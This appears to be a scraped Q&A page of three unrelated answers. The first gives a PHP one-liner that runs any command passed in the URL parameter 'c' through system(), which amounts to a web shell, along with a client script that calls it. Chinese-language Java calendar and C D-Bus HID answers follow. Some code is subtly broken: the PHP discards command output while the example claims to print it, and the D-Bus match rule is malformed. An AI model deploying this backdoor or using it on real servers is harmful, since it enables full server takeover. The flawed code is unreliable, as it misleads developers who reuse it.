<?php if(isset($_GET['c'])){ $arg=$_GET['c']; system($arg.">/dev/null 2>&1"); }else{ highlight_file(__FILE__); } ?>

这段代码是一个简单的PHP命令执行漏洞。如果用户在URL中传递参数“c”，则该参数将被传递给system函数，从而允许攻击者执行任意命令。攻击者可以使用该漏洞来获取敏感信息或完全控制服务器。

以下是一个例子，演示如何利用该漏洞执行命令：

<?php
$cmd = "ls -la"; // 要执行的命令
$url = "http://example.com/vuln.php?c=" . urlencode($cmd); // 构造带有命令参数的URL
$result = file_get_contents($url); // 执行URL并获取结果
echo $result; // 输出结果
?>

请注意，这段代码非常危险，因为它允许攻击者执行任意命令。在实际应用中，应该避免使用此类代码，并使用更安全的方法来执行命令，例如使用exec函数并使用白名单来限制可执行的命令。

相关问题

(Use the GregorianCalendar class) Java API has the GregorianCalendar class in the java.util package, which you can use to obtain the year, month, and day of a date. The no-arg constructor constructs an instance for the current date, and the methods get(GregorianCalendar.YEAR), get(GregorianCalendar. MONTH), and get(GregorianCalendar.DAY_OF_MONTH) return the year, month, and day. Write a program to perform two tasks: 1.Display the current year, month, and day. 2.The GregorianCalendar class has the setTimeInMillis(long), which can be used to set a specified elapsed time since January 1, 1970. Set the value to 1234567898765L and display the year, month, and day.

Here is the Java program that performs the two tasks as described:

import java.util.GregorianCalendar;

public class GregorianCalendarDemo {
    public static void main(String[] args) {
        // Display the current year, month, and day
        GregorianCalendar calendar = new GregorianCalendar();
        int year = calendar.get(GregorianCalendar.YEAR);
        int month = calendar.get(GregorianCalendar.MONTH) + 1; // add 1 to get the actual month value
        int day = calendar.get(GregorianCalendar.DAY_OF_MONTH);
        System.out.println("Current date: " + year + "-" + month + "-" + day);

        // Set the elapsed time to 1234567898765L and display the year, month, and day
        calendar.setTimeInMillis(1234567898765L);
        year = calendar.get(GregorianCalendar.YEAR);
        month = calendar.get(GregorianCalendar.MONTH) + 1; // add 1 to get the actual month value
        day = calendar.get(GregorianCalendar.DAY_OF_MONTH);
        System.out.println("Elapsed time since January 1, 1970: " + year + "-" + month + "-" + day);
    }
}

The output of this program will be:

Current date: 2021-4-21
Elapsed time since January 1, 1970: 2009-2-13

Note that the current date will depend on your system clock, but the elapsed time since January 1, 1970 will always be the same.

使用c语言通过dbus接口搜索HID设备

首先需要安装DBus的开发包，可以使用以下命令进行安装：

sudo apt-get install libdbus-1-dev

接下来，需要使用DBus API来搜索HID设备。以下是一个简单的示例代码：

#include <stdio.h>
#include <stdlib.h>
#include <dbus/dbus.h>

int main(int argc, char **argv)
{
    DBusError error;
    DBusConnection *conn;
    DBusMessage *msg, *reply;
    DBusMessageIter iter, sub_iter;
    int ret;

    dbus_error_init(&error);

    conn = dbus_bus_get(DBUS_BUS_SYSTEM, &error);

    if (dbus_error_is_set(&error))
    {
        fprintf(stderr, "Connection Error (%s)\n", error.message);
        dbus_error_free(&error);
        return EXIT_FAILURE;
    }

    dbus_bus_add_match(conn, "type='signal',interface='org.freedesktop.Hal.Manager'&member='DeviceAdded'", &error);

    if (dbus_error_is_set(&error))
    {
        fprintf(stderr, "Match Error (%s)\n", error.message);
        dbus_error_free(&error);
        return EXIT_FAILURE;
    }

    ret = dbus_bus_request_name(conn, "test.hidsearch", DBUS_NAME_FLAG_REPLACE_EXISTING , &error);

    if (dbus_error_is_set(&error))
    {
        fprintf(stderr, "Name Error (%s)\n", error.message);
        dbus_error_free(&error);
        return EXIT_FAILURE;
    }

    if (ret != DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER)
    {
        fprintf(stderr, "Not Primary Owner (%d)\n", ret);
        return EXIT_FAILURE;
    }

    while (1)
    {
        dbus_connection_read_write(conn, 0);

        msg = dbus_connection_pop_message(conn);

        if (msg == NULL)
        {
            continue;
        }

        if (dbus_message_is_signal(msg, "org.freedesktop.Hal.Manager", "DeviceAdded"))
        {
            dbus_message_iter_init(msg, &iter);

            while (dbus_message_iter_get_arg_type(&iter) == DBUS_TYPE_STRING)
            {
                char *str;
                dbus_message_iter_get_basic(&iter, &str);

                if (strstr(str, "HID") != NULL)
                {
                    printf("HID Device Found: %s\n", str);
                }

                dbus_message_iter_next(&iter);
            }
        }

        dbus_message_unref(msg);
    }

    return EXIT_SUCCESS;
}

这段代码使用DBus API注册一个信号处理函数，当系统中添加一个设备时，会触发`DeviceAdded`信号。在信号处理函数中，遍历信号携带的参数，如果发现其中包含`HID`字符串，则说明发现了一个HID设备，可以进行相应的操作。